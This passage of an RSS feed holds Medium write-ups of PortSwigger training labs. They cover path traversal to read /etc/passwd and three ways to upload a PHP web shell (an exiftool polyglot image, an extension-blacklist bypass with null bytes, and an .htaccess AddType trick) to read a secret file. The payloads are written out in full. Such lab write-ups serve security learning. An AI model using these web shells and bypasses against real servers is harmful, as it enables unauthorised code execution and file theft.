a request parameter, and validates that the supplied path starts with the expected folder.</p><p>To solve the lab, retrieve the contents of the <strong>/etc/passwd</strong> file.</p><h3>Solution</h3><p>1. Navigate through the web application -&gt; Select any of the products -&gt; View details<br>2. Hover your mouse over to the image then right click -&gt; Open Image in New Tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*rPJnGgTAtcXZPVxyMC9j3Q.png" /></figure><p>3. Modify the url with the following:</p><pre>FROM:<br>/image?filename=/var/www/images/9.jpg<br><br>TO:<br>/image?filename=/var/www/images/../../../etc/passwd</pre><p>4. Expected output will be like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*CxUqa90NP15cxhKCJo00tg.png" /></figure><p>5. The result may not return the output for `<strong>/etc/passwd</strong>` in the web application but after checking Burp Suite HTTP History, the contents of the `<strong>/etc/passwd</strong>` can already be seen in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*RYXXFwE5Cw0Ch-EP7gScDg.png" /></figure><p>6. This method automatically solves the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*yZJNDGAm7X6QlXFCxccpnw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=030d60dd898a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Lab: Remote code execution via polyglot web shell upload writeup (File Upload…]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-lab-remote-code-execution-via-polyglot-web-shell-upload-writeup-file-upload-7deb2dda13f6?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/7deb2dda13f6</guid>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 06:05:49 GMT</pubDate>
            <atom:updated>2025-07-21T06:05:49.778Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger Lab: <strong>Remote code execution via polyglot web shell upload writeup (File Upload Vulnerabilities)</strong></h3><p>This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.</p><p>To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file <strong>/home/carlos/secret</strong>. Submit this secret using the button provided in the lab banner.</p><p>You can log in to your own account using the following credentials: <br><strong>wiener:peter</strong></p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Create a <strong>ployglot PHP/PNG</strong> file that acts like a normal image but contains the malicious PHP payload in its metadata. We can utilize <strong>exiftool</strong> for this</p><pre>exiftool -Comment=&quot;&lt;?php echo &#39;START &#39; . file_get_contents(&#39;/home/carlos/secret&#39;) . &#39; END&#39;; ?&gt;&quot; &lt;YOUR-INPUT-IMAGE&gt;.png -o polyglot.php</pre><ul><li>This script adds your PHP payload to the image’s Comment field, then saves the image with a .<strong>php </strong>extension.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*-MOpMyFCv17deRJe1ArpfQ.png" /></figure><p>3. Upload the saved image `<strong>polyglot.php</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*roGRLqkbTfgjXmDgGQG0oQ.png" /></figure><p>4. Checking the source code shows us the path where the files get uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*fAQAL_XOLBiyyGy0cZXe4Q.png" /></figure><p>5. Visiting the page where the files get uploaded will output the contents of /home/carlos/secret in between the “<strong>START</strong>” and “<strong>END</strong>” of the comments<br><strong>`START 6Oay1ixUeYUeJo9Rj3m8ZuQaAhFrFLbd END</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*y-nESqOQjOKeaSaqGzDuMQ.png" /></figure><p>6. Copy and submit the results to Burp Suite lab to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YKKZ01t8joK5wCAkQ14PEQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7deb2dda13f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Lab: Web shell upload via obfuscated file extension writeup (File Upload…]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-lab-web-shell-upload-via-obfuscated-file-extension-writeup-file-upload-68137f8b3ee9?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/68137f8b3ee9</guid>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 06:02:49 GMT</pubDate>
            <atom:updated>2025-07-21T06:02:49.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger Lab: <strong>Web shell upload via obfuscated file extension writeup (File Upload Vulnerabilities)</strong></h3><p>This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.</p><p>To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.</p><p>You can log in to your own account using the following credentials:</p><h4>wiener:peter</h4><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Looking at the application, there is an upload function that lets us upload any file due to the “<strong>All files</strong>” option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*4l50ohvYElu9q5uSKHs8Yw.png" /></figure><p>3. Create a payload using bash, let’s name it as test_shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ovPGZKZFoKg5UfF0.png" /></figure><p>4. Use the following payload and save it to the <strong>test_shell.php</strong></p><pre>&lt;?php echo system($_GET[&#39;command&#39;]); ?&gt;</pre><p>5. Uploading the php shell will get blocked and will prompt an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*FlLOZ4HZrfwa-27SqOY2Qw.png" /></figure><p>6. Investigate Burp Suite HTTP History and send the `<strong>POST /my-account/avatar</strong>` to the Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*x895I9qCWL6_wnviyqeJ1w.png" /></figure><p>7. Testing other Content-Types does not work; however, if we try to search for other file extensions that accept <strong>.php</strong> file, we might have a way to get through<br>8. Send the request to Burp Suite Intruder<br>9. Intruder setup:</p><pre>Sniper attack<br>Payload position: in between the file extension (i.e. &quot;.php&quot;)<br>Wordlist: php extensions from PayloadsAllTheThings git repo<br>Remove the option for &quot;URL-encode these characters&quot;<br>Send attack!</pre><h4>Wordlist link:<br><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst">PayloadsAllTheThings/Upload Insecure Files/Extension PHP/extensions.lst at master · swisskyrepo/PayloadsAllTheThings</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*CTPG0b_2Of14Sq0zluABLw.png" /></figure><p>10. Results show that there are four successful file uploads!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*QsAQ7k9CAjdUypWCh12oMA.png" /></figure><p>11. Going back to repeater to test for `<strong>test_shell.php%00.png</strong>` as filename gets uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*N9ExY1qHDYMuiOhwRq2n8Q.png" /></figure><p>12. Use Repeater response as the basis on what webpage to visit with the shell<br>13. Check the source code to obtain where the file was uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*DNuJ4CT35EdU8YYf9KwAiQ.png" /></figure><p>14. Visit `<strong>/files/avatars/test_shell.php?command=id</strong>` to check if it will return the shell command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*ADgsyM1H72Bz4AnLd9zR1Q.png" /></figure><p>15. Modify the command to retrieve `<strong>/home/carlos/secret</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*0cnk66sLxEh4uvdki58p4w.png" /></figure><p>16. Copy and submit the results to Burp Suite lab to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*JGui2-PXSAslwwPAUB83SA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68137f8b3ee9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Lab: Web shell upload via extension blacklist bypass writeup (File Upload…]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-lab-web-shell-upload-via-extension-blacklist-bypass-writeup-file-upload-54769b1343f1?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/54769b1343f1</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 05:57:10 GMT</pubDate>
            <atom:updated>2025-07-21T05:57:10.251Z</atom:updated>
            <content:encoded><![CDATA[<h3>PortSwigger Lab: <strong>Web shell upload via extension blacklist bypass writeup (File Upload Vulnerabilities)</strong></h3><p>This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist.</p><p>To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.</p><p>You can log in to your own account using the following credentials:</p><h4>wiener:peter</h4><p>***<strong>Hint</strong>***<br> You need to upload two different files to solve this lab.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. Looking at the application, there is an upload function that lets us upload any file due to the “<strong>All files</strong>” option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*J9ZRLfuLC360DWTgygmzXg.png" /></figure><p>3. Create a payload using bash, let’s name it as test_shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*J2AWCwACFSNRtzHvRWG7mQ.png" /></figure><p>4. Use the following payload and save it to the <strong>test_shell.php</strong></p><pre>&lt;?php echo system($_GET[&#39;command&#39;]); ?&gt;</pre><p>5. Uploading the php shell will get blocked and will prompt an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*8YRI-kob5R_wTmvlbCXLgA.png" /></figure><p>6. Checking Burp Suite HTTP History, send the `<strong>POST /my-account/avatar</strong>` request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*TGg86SBLPm59oo1WnGyGcg.png" /></figure><p>7. Set the following modifications in repeater:</p><pre> - change filename extension to `.htaccess`<br> - change `Content-Type` header to `text/plain`<br> - Replace the contents of the file (your PHP payload) with the following Apache directive: `AddType application/x-httpd-php .test`</pre><ul><li>This method maps an arbitrary extension (`.test`) to the executable MIME type `application/x-httpd-php`. As the server uses the `mod_php` module, it automatically knows how to handle this.</li><li>Send the request!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*4j8kddN3SGtG1FR0e5ZaYg.png" /></figure><p>6. Use the back arrow in order to easily go back to the previous request (original payload uploaded without modified parameters) and change the filename from `<strong>test_shell.php</strong>` to `<strong>test_shell.test</strong>`. Send the request again.</p><p>7. Notice that the file gets uploaded successfully now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*Dcg4Qhi32hepdL_IDSwLTQ.png" /></figure><p>8. Check the source code to get the path where the files are uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*4qubfUdRUVXwmWYPvKr2HQ.png" /></figure><p>9. Files are uploaded at `<strong>/files/avatars/test_shell.test</strong>`<br>10. To test if have remote code execution (RCE) access on the application, we will just add `<strong>?command=id</strong>` after the file path we got at <strong>step 9</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*ByjFAPtJ13hft4rcNJSKVQ.png" /></figure><p>11. Looks like we have achieved RCE, we just modify the command to retrieve contents of `<strong>/home/carlos/secret</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*f1PvIDRU3Y8nK8nBliXROA.png" /></figure><p>12. Copy and submit the results to Burp Suite lab to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*D7q5H0aE1InCgKBG2MzQLg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54769b1343f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>